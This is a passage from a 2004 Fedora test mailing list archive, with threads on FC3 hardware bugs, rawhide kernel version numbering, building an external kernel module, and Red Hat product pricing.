In-Reply-To: <1100233324.22314.0.camel@localhost> References: <77e74f3e04110607224a60c073@mail.gmail.com> <1100158549.3374.12.camel@hermione.soho.bytebot.net> <1100233324.22314.0.camel@localhost> Message-ID: <1100659694.7467.75.camel@localhost.localdomain> On Thu, 2004-11-11 at 23:22 -0500, Jason 'vanRijn' Kasper wrote: > > > I didn't get any appropriate debugging information either... This is > > FC3/ppc > > do you have ipv6 modules loaded? Not intentionally, no. They could've been I'll be fiddling with Rawhide latest again (soon), and then see if NetworkManager or the kernel probing the airport card still hardlocks my iBook -- Colin Charles, byte at aeon.com.my http://www.bytebot.net/ "First they ignore you, then they laugh at you, then they fight you, then you win." -- Mohandas Gandhi From byte at aeon.com.my Wed Nov 17 02:50:29 2004 From: byte at aeon.com.my (Colin Charles) Date: Wed, 17 Nov 2004 10:50:29 +0800 Subject: Features for FC4 In-Reply-To: <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> References: <1100112479.3955.62.camel@marius.asheville.interact> <200411111237.39166.tony.molloy@ul.ie> <1100177435.4387.7.camel@laptop.fenrus.org> <37776.62.2.21.164.1100178242.squirrel@62.2.21.164> Message-ID: <1100659830.7467.77.camel@localhost.localdomain> On Thu, 2004-11-11 at 14:04 +0100, Roger Grosswiler wrote: > But what i really would like to see is a jabber-server within this distro, it would make life much easier :-) > preferably of course jabber 2 & the most-used transports (aim, icq, irc, msn, yahoo...)... Package it, following guidelines at fedora.us, make it go into Extras, and when its sufficiently useful and the packaging is kosher, I'm sure Core might see it at some stage ;-) -- Colin Charles, byte at aeon.com.my http://www.bytebot.net/ "First they ignore you, then they laugh at you, then they fight you, then you win." -- Mohandas Gandhi From gstool at earthlink.net Wed Nov 17 04:03:04 2004 From: gstool at earthlink.net (Gerry Tool) Date: Tue, 16 Nov 2004 22:03:04 -0600 Subject: Fedora Core 3: Epson Perfection 1650 USB Scanner only, recognized as "root" In-Reply-To: <20041116224823.GN10721@devserv.devel.redhat.com> References: <20041115135021.417CA74550@hormel.redhat.com> <4198C471.9010400@bchilds.com> <419A388A.900@earthlink.net> <20041116224823.GN10721@devserv.devel.redhat.com> Message-ID: <419ACD78.40204@earthlink.net> Alan Cox wrote: >On Tue, Nov 16, 2004 at 11:27:38AM -0600, Gerry Tool wrote: > > >>BUT, this bug has been recognized for 7 months, and so far all I see is >>a lot of bickering about who should fix it. >> >> > >Like SELinux the HAL/udev changes are affecting core code, and unsuprisingly >both of them have had a few kinks > > > >>device I've been using since Red Hat Linux 7.3. FC2 broke scanner use, >>and now FC3 has broken use of internal Zip drives (bugzilla 136971). >>I'm getting discouraged. >> >> > >Seems easy to fix in HAL, attached a comment lets see if its doable and >David can whistle up a magic fix > > > Thanks for your comments, Alan. David did come up with a static change to my fstab that allows me to use the zip drive. Of course, fixing the basic problem would be better. I also see from looking at the scanner bug report (121511) that some help may be on the way there. From maxer1 at xmission.com Wed Nov 17 04:27:54 2004 From: maxer1 at xmission.com (maxer1) Date: Tue, 16 Nov 2004 21:27:54 -0700 Subject: ATI Radeon X 700 pro not in system-config-display Message-ID: <419AD34A.1010008@xmission.com> Alan mentioned that the various PCI Express cards are supported in 2D mode under FC3 Xorg. However the particular card I have an interest in is the ATI Radeon X 700 pro, which system-config-display doesn't have a entry for. I received word from a reliable source that perhaps this card isn't at all supported in the latest xorg. Is there a hardware list for those supported cards in xorg that I can look at? Thanks in advance, RaXeT From michal at harddata.com Wed Nov 17 04:32:13 2004 From: michal at harddata.com (Michal Jaegermann) Date: Tue, 16 Nov 2004 21:32:13 -0700 Subject: funny way of numbering kernel versions Message-ID: <20041116213213.A12491@mail.harddata.com> Is there some deeper significance in a version numbering for the current kernel from rawhide? The previous one was 2.6.9-1.667 and the one which showed up recently, with a build date "Mon 15 Nov 2004 05:58:14 PM MST" is 2.6.9-1.650_devel. Of course yum will not pick it up as already a "newer" one is quite likely installed; even if its build date is "Tue 02 Nov 2004 01:24:30 PM MST". Even 'rpm' has to be gently persuaded before it will stoop to installing something so "older". My guess is that this will quite likely limit an exposure of this kernel to testers. Michal From davej at redhat.com Wed Nov 17 04:41:02 2004 From: davej at redhat.com (Dave Jones) Date: Tue, 16 Nov 2004 23:41:02 -0500 Subject: funny way of numbering kernel versions In-Reply-To: <20041116213213.A12491@mail.harddata.com> References: <20041116213213.A12491@mail.harddata.com> Message-ID: <20041117044102.GB14919@redhat.com> On Tue, Nov 16, 2004 at 09:32:13PM -0700, Michal Jaegermann wrote: > Is there some deeper significance in a version numbering for the > current kernel from rawhide? The previous one was 2.6.9-1.667 and > the one which showed up recently, with a build date "Mon 15 Nov 2004 > 05:58:14 PM MST" is 2.6.9-1.650_devel. Of course yum will not pick > it up as already a "newer" one is quite likely installed; even if > its build date is "Tue 02 Nov 2004 01:24:30 PM MST". Even 'rpm' has > to be gently persuaded before it will stoop to installing something > so "older". > > My guess is that this will quite likely limit an exposure of this > kernel to testers. I goofed. Next one goes out as _FC4 instead of _devel sorry, Dave From skvidal at phy.duke.edu Wed Nov 17 05:00:13 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Wed, 17 Nov 2004 00:00:13 -0500 Subject: funny way of numbering kernel versions In-Reply-To: <20041117044102.GB14919@redhat.com> References: <20041116213213.A12491@mail.harddata.com> <20041117044102.GB14919@redhat.com> Message-ID: <1100667613.4049.3.camel@cutter> On Tue, 2004-11-16 at 23:41 -0500, Dave Jones wrote: > On Tue, Nov 16, 2004 at 09:32:13PM -0700, Michal Jaegermann wrote: > > Is there some deeper significance in a version numbering for the > > current kernel from rawhide? The previous one was 2.6.9-1.667 and > > the one which showed up recently, with a build date "Mon 15 Nov 2004 > > 05:58:14 PM MST" is 2.6.9-1.650_devel. Of course yum will not pick > > it up as already a "newer" one is quite likely installed; even if > > its build date is "Tue 02 Nov 2004 01:24:30 PM MST". Even 'rpm' has > > to be gently persuaded before it will stoop to installing something > > so "older". > > > > My guess is that this will quite likely limit an exposure of this > > kernel to testers. > > I goofed. Next one goes out as _FC4 instead of _devel > > sorry, > > Dave > 2.6.9-1.650_FC4 will not be higher than 2.6.9-1.667 -sv From alan at clueserver.org Wed Nov 17 05:01:47 2004 From: alan at clueserver.org (alan) Date: Tue, 16 Nov 2004 21:01:47 -0800 (PST) Subject: funny way of numbering kernel versions In-Reply-To: <20041116213213.A12491@mail.harddata.com> Message-ID: On Tue, 16 Nov 2004, Michal Jaegermann wrote: > Is there some deeper significance in a version numbering for the > current kernel from rawhide? The previous one was 2.6.9-1.667 and > the one which showed up recently, with a build date "Mon 15 Nov 2004 > 05:58:14 PM MST" is 2.6.9-1.650_devel. Of course yum will not pick > it up as already a "newer" one is quite likely installed; even if > its build date is "Tue 02 Nov 2004 01:24:30 PM MST". Even 'rpm' has > to be gently persuaded before it will stoop to installing something > so "older". > > My guess is that this will quite likely limit an exposure of this > kernel to testers. It sounds like a problem that occured previously. Two different developers with two different revision number schemes. -- Q: Why do programmers confuse Halloween and Christmas? A: Because OCT 31 == DEC 25. From backes at rhrk.uni-kl.de Wed Nov 17 06:05:39 2004 From: backes at rhrk.uni-kl.de (Joachim Backes) Date: Wed, 17 Nov 2004 07:05:39 +0100 Subject: FC3: K3b with usb devices Message-ID: <1100671539.16194.9.camel@sunny.rhrk.uni-kl.de> Hi I have installed an USB dvd burner, wihich can be used by cdrecord without problems. But to use it with k3b fails: k3b does not recognize the device (/dev/scd0), which can be used for mounting too! lsusb Bus 005 Device 001: ID 0000:0000 Bus 004 Device 001: ID 0000:0000 Bus 003 Device 004: ID 046a:0001 Cherry GmbH My3000 Keyboard Bus 003 Device 003: ID 046d:c01b Logitech, Inc. MX310 Optical Mouse Bus 003 Device 002: ID 046a:0003 Cherry GmbH My3000 Hub Bus 003 Device 001: ID 0000:0000 Bus 002 Device 001: ID 0000:0000 Bus 001 Device 003: ID 0ecd:a100 Lite-On IT Corp. Bus 001 Device 001: ID 0000:0000 Configuring the device with k3b is rejected by: Could not find an additional device at /dev/scd0 Is this a known problem? -- Regards Joachim Backes Joachim Backes University of Kaiserslautern,Computer Center, High Performance Computing, D-67653 Kaiserslautern, PO Box 3049, Germany -------------------------------------------------- Phone: +49-631-205-2438, FAX: +49-631-205-3056 http://hlrwm.rhrk.uni-kl.de/home/staff/backes.html From jokech at ke.uu.net Wed Nov 17 07:09:06 2004 From: jokech at ke.uu.net (Joseph Okech) Date: Wed, 17 Nov 2004 10:09:06 +0300 Subject: FC3: K3b with usb devices In-Reply-To: <1100671539.16194.9.camel@sunny.rhrk.uni-kl.de> Message-ID: Same issue with k3b on FC2, but running it as root works! ./Joe -----Original Message----- From: fedora-test-list-bounces at redhat.com [mailto:fedora-test-list-bounces at redhat.com] On Behalf Of Joachim Backes Sent: Wednesday, November 17, 2004 9:06 AM To: FedoraTestList Subject: FC3: K3b with usb devices Hi I have installed an USB dvd burner, wihich can be used by cdrecord without problems. But to use it with k3b fails: k3b does not recognize the device (/dev/scd0), which can be used for mounting too! lsusb Bus 005 Device 001: ID 0000:0000 Bus 004 Device 001: ID 0000:0000 Bus 003 Device 004: ID 046a:0001 Cherry GmbH My3000 Keyboard Bus 003 Device 003: ID 046d:c01b Logitech, Inc. MX310 Optical Mouse Bus 003 Device 002: ID 046a:0003 Cherry GmbH My3000 Hub Bus 003 Device 001: ID 0000:0000 Bus 002 Device 001: ID 0000:0000 Bus 001 Device 003: ID 0ecd:a100 Lite-On IT Corp. Bus 001 Device 001: ID 0000:0000 Configuring the device with k3b is rejected by: Could not find an additional device at /dev/scd0 Is this a known problem? -- Regards Joachim Backes Joachim Backes University of Kaiserslautern,Computer Center, High Performance Computing, D-67653 Kaiserslautern, PO Box 3049, Germany -------------------------------------------------- Phone: +49-631-205-2438, FAX: +49-631-205-3056 http://hlrwm.rhrk.uni-kl.de/home/staff/backes.html -- fedora-test-list mailing list fedora-test-list at redhat.com To unsubscribe: http://www.redhat.com/mailman/listinfo/fedora-test-list From davej at redhat.com Wed Nov 17 07:11:38 2004 From: davej at redhat.com (Dave Jones) Date: Wed, 17 Nov 2004 02:11:38 -0500 Subject: funny way of numbering kernel versions In-Reply-To: <1100667613.4049.3.camel@cutter> References: <20041116213213.A12491@mail.harddata.com> <20041117044102.GB14919@redhat.com> <1100667613.4049.3.camel@cutter> Message-ID: <20041117071138.GD14919@redhat.com> On Wed, Nov 17, 2004 at 12:00:13AM -0500, seth vidal wrote: > > > My guess is that this will quite likely limit an exposure of this > > > kernel to testers. > > > > I goofed. Next one goes out as _FC4 instead of _devel > > sorry, > > 2.6.9-1.650_FC4 will not be higher than 2.6.9-1.667 Damn, you got me. This is the only annoying thing with having multiple releases on the same kernel level. They're not /exactly/ the same kernel, and as they come different parts of the CVS tree, it's perfectly feasable for a 2.6.9-1.650 to show up in FC2, FC3, and devel (FC4). I could do something really ugly, and just bump the devel kernels up past the last released FC3 kernel each time I do an update, but that is a little sick. Dave From perbj at stanford.edu Wed Nov 17 07:33:25 2004 From: perbj at stanford.edu (Per Bjornsson) Date: Tue, 16 Nov 2004 23:33:25 -0800 Subject: funny way of numbering kernel versions In-Reply-To: <20041117071138.GD14919@redhat.com> References: <20041116213213.A12491@mail.harddata.com> <20041117044102.GB14919@redhat.com> <1100667613.4049.3.camel@cutter> <20041117071138.GD14919@redhat.com> Message-ID: <1100676805.3394.15.camel@localhost.localdomain> On Wed, 2004-11-17 at 02:11 -0500, Dave Jones wrote: > > 2.6.9-1.650_FC4 will not be higher than 2.6.9-1.667 > > Damn, you got me. This is the only annoying thing with having > multiple releases on the same kernel level. They're not > /exactly/ the same kernel, and as they come different > parts of the CVS tree, it's perfectly feasable for > a 2.6.9-1.650 to show up in FC2, FC3, and devel (FC4). I sure hope not, you just can't put out an update for a released distro that doesn't get scored as higher by RPM... Presumably I'm misparsing what you're saying here? > I could do something really ugly, and just bump the > devel kernels up past the last released FC3 kernel > each time I do an update, but that is a little sick. Well, here's a suggestion that you might want to shoot down as stupid and uninformed: How about using the first digit of the release tag? What does it actually mean for the kernel - for other packages it's certainly just a serial number... Why not bump it to "4" right away, and then let that digit spill over to the stable FC4 kernels when Rawhide takes off on the "5" path. Alternatively, of course, there's some deep meaning to the number "1" which prevents this from being sane at all. /Per -- Per Bjornsson Ph.D. Candidate, Department of Applied Physics, Stanford University From lux at diesel-research.com Wed Nov 17 07:38:16 2004 From: lux at diesel-research.com (Kim Lux) Date: Wed, 17 Nov 2004 00:38:16 -0700 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100555620.19679.2.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> <20041111184518.GA30794@jadzia.bu.edu> <1100199207.3866.0.camel@localhost.localdomain> <20041114032818.GA2081@devserv.devel.redhat.com> <1100445905.5025.9.camel@localhost.localdomain> <20041114174103.GA6989@devserv.devel.redhat.com> <1100457375.3612.3.camel@localhost.localdomain> <1100458232.3743.3.camel@localhost.localdomain> <1100536396.7800.7.camel@localhost.localdomain> <1100538985.14090.1.camel@localhost.localdomain> <1100552464.11585.32.camel@localhost.localdomain> <1100555620.19679.2.camel@localhost.localdomain> Message-ID: <1100677096.5209.2.camel@localhost.localdomain> I ripped several CDs tonight. grip/cdparanoia generally work better than they used to. I am running the cdparanoia-test that you built for me the other day. I don't have problems with the CDROM not ejecting anymore (when done ripping). There are still messages in the syslog. BTW:IRQs are not enabled for the cdrom. Nov 17 00:29:36 localhost kernel: hdc: DMA timeout retry Nov 17 00:29:36 localhost kernel: hdc: timeout waiting for DMA Nov 17 00:29:36 localhost kernel: hdc: status timeout: status=0xd8 { Busy } Nov 17 00:29:36 localhost kernel: hdc: status timeout: error=0xd8MediaChangeRequested LastFailedSense 0x0d Nov 17 00:29:36 localhost kernel: hdc: drive not ready for command Nov 17 00:29:36 localhost kernel: hdc: ATAPI reset complete Nov 17 00:29:46 localhost kernel: hdc: DMA timeout retry Nov 17 00:29:46 localhost kernel: hdc: timeout waiting for DMA Nov 17 00:29:51 localhost kernel: hdc: irq timeout: status=0xd0 { Busy } Nov 17 00:29:51 localhost kernel: hdc: irq timeout: error=0xd0LastFailedSense 0x0d Nov 17 00:29:51 localhost kernel: hdc: ATAPI reset complete Nov 17 00:29:56 localhost kernel: ide-cd: cmd 0x42 timed out Nov 17 00:29:56 localhost kernel: hdc: irq timeout: status=0xd0 { Busy } Nov 17 00:29:56 localhost kernel: hdc: irq timeout: error=0xd0LastFailedSense 0x0d Nov 17 00:29:56 localhost kernel: hdc: ATAPI reset complete Nov 17 00:31:05 localhost kernel: hdc: DMA timeout retry Nov 17 00:31:05 localhost kernel: hdc: timeout waiting for DMA Nov 17 00:31:05 localhost kernel: hdc: status timeout: status=0xd0 { Busy } Nov 17 00:31:05 localhost kernel: hdc: status timeout: error=0xd0LastFailedSense 0x0d Nov 17 00:31:05 localhost kernel: hdc: drive not ready for command Nov 17 00:31:05 localhost kernel: hdc: ATAPI reset complete Nov 17 00:31:16 localhost kernel: hdc: DMA timeout retry Nov 17 00:31:16 localhost kernel: hdc: timeout waiting for DMA Nov 17 00:31:21 localhost kernel: hdc: irq timeout: status=0xd0 { Busy } Nov 17 00:31:21 localhost kernel: hdc: irq timeout: error=0xd0LastFailedSense 0x0d Nov 17 00:31:24 localhost kernel: hdc: ATAPI reset complete Nov 17 00:32:28 localhost kernel: hdc: irq timeout: status=0xd0 { Busy } Nov 17 00:32:28 localhost kernel: hdc: irq timeout: error=0xd0LastFailedSense 0x0d Nov 17 00:32:28 localhost kernel: hdc: ATAPI reset complete Nov 17 00:32:36 localhost kernel: hdc: irq timeout: status=0xd0 { Busy } Nov 17 00:32:36 localhost kernel: hdc: irq timeout: error=0xd0LastFailedSense 0x0d Nov 17 00:32:37 localhost kernel: hdc: ATAPI reset complete Nov 17 00:32:44 localhost kernel: hdc: irq timeout: status=0xd0 { Busy } Nov 17 00:32:44 localhost kernel: hdc: irq timeout: error=0xd0LastFailedSense 0x0d Nov 17 00:32:44 localhost kernel: hdc: ATAPI reset complete -- Kim Lux (Mr.) Diesel Research Inc From joelbryanster at gmail.com Wed Nov 17 07:39:28 2004 From: joelbryanster at gmail.com (joelbryan) Date: Wed, 17 Nov 2004 15:39:28 +0800 Subject: Needed Advice Message-ID: I know this is not the place to ask questions like this, but I just trust more people here than other forums, and I believe people here are more experienced as well. My Question is: - How do you save money? I have a very terrible way of managing my personal finance, after recieving salary, within a few days I'm back to broke, I'm a 22 yrs. old technical consultant (single), and I'm really have this problem, if someone would give me advice, I'll print it, and I'll laminate it, and put it in front of my desk, and doors, because I really need it, and I'll give you Gmail accounts. ^_^ From sahar.farhat at gmail.com Wed Nov 17 07:43:05 2004 From: sahar.farhat at gmail.com (Sahar Farhat) Date: Wed, 17 Nov 2004 09:43:05 +0200 Subject: Needed Advice In-Reply-To: References: Message-ID: well i guess if u can have saving account in the bank, were u force yourself to put money as soon as u get paid, and u set an age limit were u can't take that money until your 65, in this way you would limit yourself because the money is already in the bank and at the same time you would have an account were you can use when you retire On Wed, 17 Nov 2004 15:39:28 +0800, joelbryan wrote: > I know this is not the place to ask questions like this, but I just > trust more people here than other forums, and I believe people here > are more experienced as well. > > My Question is: > > - How do you save money? > > I have a very terrible way of managing my personal finance, after > recieving salary, within a few days I'm back to broke, I'm a 22 yrs. > old technical consultant (single), and I'm really have this problem, > if someone would give me advice, I'll print it, and I'll laminate it, > and put it in front of my desk, and doors, because I really need it, > and I'll give you Gmail accounts. ^_^ > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From sahar.farhat at gmail.com Wed Nov 17 07:43:57 2004 From: sahar.farhat at gmail.com (Sahar Farhat) Date: Wed, 17 Nov 2004 09:43:57 +0200 Subject: want to sibscribe Message-ID: From arjanv at redhat.com Wed Nov 17 08:01:32 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Wed, 17 Nov 2004 09:01:32 +0100 Subject: building a driver in /lib/modules/2.6.9-1.667/build/ - how? need src.rpm? In-Reply-To: <20041117021340.GA9252@rome.puchol.com> References: <20041117021340.GA9252@rome.puchol.com> Message-ID: <1100678492.2638.11.camel@laptop.fenrus.org> On Tue, 2004-11-16 at 18:13 -0800, Carlos Puchol wrote: > hi, i have a driver, called my-driver.c here, that builds cleanly > on a clean, official 2.6.9 tree: > > ... > MODPOST > CC drivers/char/my-driver.mod.o > LD [M] drivers/char/my-driver.ko > .. > > i made modifications to the Kconfig and Makefile, .config, etc. so that it > all goes well. yikes that sounds not quite right what you want is a Makefile that looks like obj-m += my-driver.o and then do make -C /lib/modules/`uname -r`/build SUBDIRS=$PWD modules no need to edit anything in /lib -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From alan at clueserver.org Wed Nov 17 07:10:08 2004 From: alan at clueserver.org (alan) Date: Tue, 16 Nov 2004 23:10:08 -0800 (PST) Subject: funny way of numbering kernel versions In-Reply-To: <20041117071138.GD14919@redhat.com> Message-ID: On Wed, 17 Nov 2004, Dave Jones wrote: > On Wed, Nov 17, 2004 at 12:00:13AM -0500, seth vidal wrote: > > > > > My guess is that this will quite likely limit an exposure of this > > > > kernel to testers. > > > > > > I goofed. Next one goes out as _FC4 instead of _devel > > > sorry, > > > > 2.6.9-1.650_FC4 will not be higher than 2.6.9-1.667 > > Damn, you got me. This is the only annoying thing with having > multiple releases on the same kernel level. They're not > /exactly/ the same kernel, and as they come different > parts of the CVS tree, it's perfectly feasable for > a 2.6.9-1.650 to show up in FC2, FC3, and devel (FC4). > > I could do something really ugly, and just bump the > devel kernels up past the last released FC3 kernel > each time I do an update, but that is a little sick. Unfortunatly there is no real good way to describe packages that are of the same package, but have undergone different development paths. For example, I produce package ABC and someone else produces package ABC. They may build the same or they may not. They may have revision numbers that are similar or they may not. Some repositories add in added bits to indicate who built it, but that tends to wreck havok with sorting and determining what the actual version number is. (Even more fun is with CVS that contains multiple branches and the version number is generated from the date with cvs tacked on the end.) Trying to keep track of changes between versions becomes difficult, especially if there are multiple options possible within the package. Hopefully that makes some sort of sense... -- Q: Why do programmers confuse Halloween and Christmas? A: Because OCT 31 == DEC 25. From fedora at nodata.co.uk Wed Nov 17 08:17:01 2004 From: fedora at nodata.co.uk (nodata) Date: Wed, 17 Nov 2004 09:17:01 +0100 (CET) Subject: Slashdot is discussing 'FC3: worthwhile or not ?' In-Reply-To: <1100603686.14144.17.camel@tabb1.tabb> References: <1100537064.12442.9.camel@localhost.localdomain> <1100537155.12442.11.camel@localhost.localdomain> <200411151849.01868.tim@birdsnest.maths.tcd.ie> <1100572081.3542.5.camel@localhost.localdomain> <1100603686.14144.17.camel@tabb1.tabb> Message-ID: <35008.213.164.3.90.1100679421.squirrel@213.164.3.90> >> RHEL-WS costs $180/year IIRC, which is WAAAAAAAY more than >> nearly anyone will pay for a home system. > > Ya' got that right. If anything, isn't Red Hat Desktop "aimed" at home users? It costs half the amount of RHEL-WS per year - $90 IIRC. From perbj at stanford.edu Wed Nov 17 08:22:25 2004 From: perbj at stanford.edu (Per Bjornsson) Date: Wed, 17 Nov 2004 00:22:25 -0800 Subject: Slashdot is discussing 'FC3: worthwhile or not ?' In-Reply-To: <35008.213.164.3.90.1100679421.squirrel@213.164.3.90> References: <1100537064.12442.9.camel@localhost.localdomain> <1100537155.12442.11.camel@localhost.localdomain> <200411151849.01868.tim@birdsnest.maths.tcd.ie> <1100572081.3542.5.camel@localhost.localdomain> <1100603686.14144.17.camel@tabb1.tabb> <35008.213.164.3.90.1100679421.squirrel@213.164.3.90> Message-ID: <1100679745.3394.20.camel@localhost.localdomain> On Wed, 2004-11-17 at 09:17 +0100, nodata wrote: > If anything, isn't Red Hat Desktop "aimed" at home users? > It costs half the amount of RHEL-WS per year - $90 IIRC. No, Red Hat Desktop is only sold in bulk, you're probably thinking of Red Hat Professional Workstation. The Red Hat web site appears to have been wiped clean of any mentions of that product though, at least visibly... They still carried it at Fry's when I was there last time though. /Per -- Per Bjornsson Ph.D. Candidate, Department of Applied Physics, Stanford University From fedora at andrewfarris.com Wed Nov 17 08:57:17 2004 From: fedora at andrewfarris.com (Andrew Farris) Date: Wed, 17 Nov 2004 00:57:17 -0800 Subject: Bad dependencies in FC3 In-Reply-To: <1100490614.7257.10.camel@localhost.localdomain> References: <1100490614.7257.10.camel@localhost.localdomain> Message-ID: <1100681837.3539.4.camel@andrewfarris.dev> On Sun, 2004-11-14 at 20:50 -0700, Kim Lux wrote: > I reinstalled FC3 on our server machine to try to get past the init 5 x > respawning issue I had. (I suspect that x isn't installed on the server > installation and thus trying to run level 5 was a mistake on my part...) > > Anyway: I installed the personal server setup and logged in. I then > used Add/Remove Packages to unselect a bunch of packages that I don't > need on the server: games, oofice, multimedia and so forth. > > When I try to remove oofice, I get: Packages Not Found: > > The following packages could not be found on your system. > Installation cannot continue until they are installed. > > openoffice.org requ'd by openoffice.org-libs, 1.1.2-10 > gnome-media requ'd by gnome-volume-manager 1.1.0-5 > gthumb requ'd by ditto > libspi.so.0 libgail-gnome, 1.1.0-1 > ... There are about 12 packages in the list > > I am going to run up2date to see if this fixes a few of them. The add/remove tool seems to not correctly add the dependencies to remove, when you deselected openoffice.org for instance, it should have also removed openoffice.org-libs. If you use yum to remove them, yum uninstall openoffice.org, it will add the deps it would have to also remove, and ask you to confirm this. If you remove them with rpm you will get the same message as from add/remove. You could use rpm -e openoffice.org openoffice.org-libs. The point is, perhaps some effort needs to be made in checking over how add/remove considers what it is going to do. The dependencies should be available for it to work backwards since they were in the comps list for the install. Since OOo is a selectable package to 'remove' in the program it should take out with it the libs and anything else that requires OOo to be present. -- Andrew Farris (lordmorgul) - CPE student, Cal Poly SLO, pgp keyid 4430F405 pgp.mit.edu "..the triumph of evil is for good men to do nothing." (Edmond Burke) From borkows at uci.agh.edu.pl Wed Nov 17 09:06:38 2004 From: borkows at uci.agh.edu.pl (Borkowski Dariusz) Date: Wed, 17 Nov 2004 10:06:38 +0100 Subject: fedora-test-list Digest, Vol 9, Issue 96 In-Reply-To: <20041116230627.6599674940@hormel.redhat.com> References: <20041116230627.6599674940@hormel.redhat.com> Message-ID: <1100682398.3052.19.camel@zm226.zmet.agh.edu.pl> > Here is my bug on the same issue: > > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=137579 > > I was waiting too, until I found the fix. > > What do your control panel settings for sound look like ? ? I don't know. I didn't change anything there after FC3 install, so there have to bee defaults. > Are you rebooting to let Linux not recognize the blacklisted device ? Of course. > I had sound disabled when I made my change, rebooted and then enabled > it. After rebooting I checked volume sliders level, but there are ok. > Can you successfully run alsamixer ? Yes, I can. I pulled up all sliders to maximum volume in the Alsamixer. I have one idea (will check this as I get home). To log into x as root and try there. Maybe it'll help. Darek Borkowski From perbj at stanford.edu Wed Nov 17 09:52:06 2004 From: perbj at stanford.edu (Per Bjornsson) Date: Wed, 17 Nov 2004 01:52:06 -0800 Subject: fedora-test-list Digest, Vol 9, Issue 96 In-Reply-To: <1100682398.3052.19.camel@zm226.zmet.agh.edu.pl> References: <20041116230627.6599674940@hormel.redhat.com> <1100682398.3052.19.camel@zm226.zmet.agh.edu.pl> Message-ID: <1100685126.3394.26.camel@localhost.localdomain> On Wed, 2004-11-17 at 10:06 +0100, Borkowski Dariusz wrote: > > Can you successfully run alsamixer ? > > Yes, I can. I pulled up all sliders to maximum volume in the Alsamixer. Please forgive me for asking, but you did also check that the controls aren't muted, right? As far as I can remember, not only does Alsa set the default volume to 0, it also sets the "Mute" toggle to off. Truly annoying. (Oh, and by the way, it might be some totally random-sounding channel that you have to unmute. On my laptop it's "Headphone" which I guess makes some kind of marginal sense, or well, no not really.) /Per -- Per Bjornsson Ph.D. Candidate, Department of Applied Physics, Stanford University From cpg at users.sourceforge.net Wed Nov 17 09:59:09 2004 From: cpg at users.sourceforge.net (Carlos Puchol) Date: Wed, 17 Nov 2004 01:59:09 -0800 Subject: building a driver in /lib/modules/2.6.9-1.667/build/ - how? need src.rpm? In-Reply-To: <1100678492.2638.11.camel@laptop.fenrus.org> References: <20041117021340.GA9252@rome.puchol.com> <1100678492.2638.11.camel@laptop.fenrus.org> Message-ID: <20041117095909.GA11839@rome.puchol.com> Arjan van de Ven wrote: > On Tue, 2004-11-16 at 18:13 -0800, Carlos Puchol wrote: > > hi, i have a driver, called my-driver.c here, that builds cleanly > > on a clean, official 2.6.9 tree: > > > > ... > > MODPOST > > CC drivers/char/my-driver.mod.o > > LD [M] drivers/char/my-driver.ko > > .. > > > > i made modifications to the Kconfig and Makefile, .config, etc. so that it > > all goes well. > > yikes that sounds not quite right > > what you want is a Makefile that looks like > > obj-m += my-driver.o > > and then do > > make -C /lib/modules/`uname -r`/build SUBDIRS=$PWD modules > > no need to edit anything in /lib most excellent! just to be perfectly clear for future searchers (your message was sufficient, but took a couple of tries, since it was a bit ambiguous): [01:50:23](1)machina:driver$ pwd /home/cpg/my-driver [01:50:25](1)machina:driver$ cat Makefile obj-m += my-driver.o [01:50:28](1)machina:driver$ make -C /lib/modules/`uname -r`/build SUBDIRS=$PWD modules make: Entering directory `/lib/modules/2.6.9-1.667/build' CC [M] /home/cpg/my-driver/my-driver.o Building modules, stage 2. MODPOST LD [M] /home/cpg/my-driver/my-driver.ko make: Leaving directory `/lib/modules/2.6.9-1.667/build' [01:50:32](1)machina:driver$ and, no, the sources are not needed. thanks!! From byte at aeon.com.my Wed Nov 17 08:24:24 2004 From: byte at aeon.com.my (Colin Charles) Date: Wed, 17 Nov 2004 16:24:24 +0800 Subject: Features for FC4 In-Reply-To: <1100457657.3612.8.camel@localhost.localdomain> References: <200411122335.28597.jeffy5@optonline.net> <1100457657.3612.8.camel@localhost.localdomain> Message-ID: <1100679864.7467.155.camel@localhost.localdomain> On Sun, 2004-11-14 at 11:40 -0700, Kim Lux wrote: > I'd like to request support for the 4 in 1 card reader on HP zd7000 > laptops: > > ENE Technology Inc CB-710/2/4 Cardbus Controller. Right now the driver > is "yenta_socket". Someone told me this was a TI_1250 device and that > there was a BSD driver already supporting it. It might already be in > Linux, it just might need to have the device ID added. Bugzilla some relevant information about it so it can get whitelisted (what dmesg or /var/log/messages shows you) -- Colin Charles, byte at aeon.com.my http://www.bytebot.net/ "First they ignore you, then they laugh at you, then they fight you, then you win." -- Mohandas Gandhi From mpeters at mac.com Wed Nov 17 12:34:36 2004 From: mpeters at mac.com (Michael A. Peters) Date: Wed, 17 Nov 2004 12:34:36 +0000 Subject: FC3: K3b with usb devices In-Reply-To: (from jokech@ke.uu.net on Tue Nov 16 23:09:06 2004) References: Message-ID: <1100694876l.27023l.5l@devel.mpeters.us> On 11/16/2004 11:09:06 PM, Joseph Okech wrote: > Same issue with k3b on FC2, but running it as root works! On a wild guess - you may be able to fix it via pam_console through the stuff in /etc/sysconfig/security or /etc/security - anyway, I forget the directory name - but it has a file containing nodes that are given to the console user at log in. I think (not positive) locate console.perms should spit out the file you need to look at to fix the issue. Sorry I can't test that myself. From fedora at wir-sind-cool.org Wed Nov 17 12:44:08 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Wed, 17 Nov 2004 13:44:08 +0100 Subject: Slashdot is discussing 'FC3: worthwhile or not ?' In-Reply-To: <1100679745.3394.20.camel@localhost.localdomain> References: <1100537064.12442.9.camel@localhost.localdomain> <1100537155.12442.11.camel@localhost.localdomain> <200411151849.01868.tim@birdsnest.maths.tcd.ie> <1100572081.3542.5.camel@localhost.localdomain> <1100603686.14144.17.camel@tabb1.tabb> <35008.213.164.3.90.1100679421.squirrel@213.164.3.90> <1100679745.3394.20.camel@localhost.localdomain> Message-ID: <20041117134408.6ae75b9d.fedora@wir-sind-cool.org> On Wed, 17 Nov 2004 00:22:25 -0800, Per 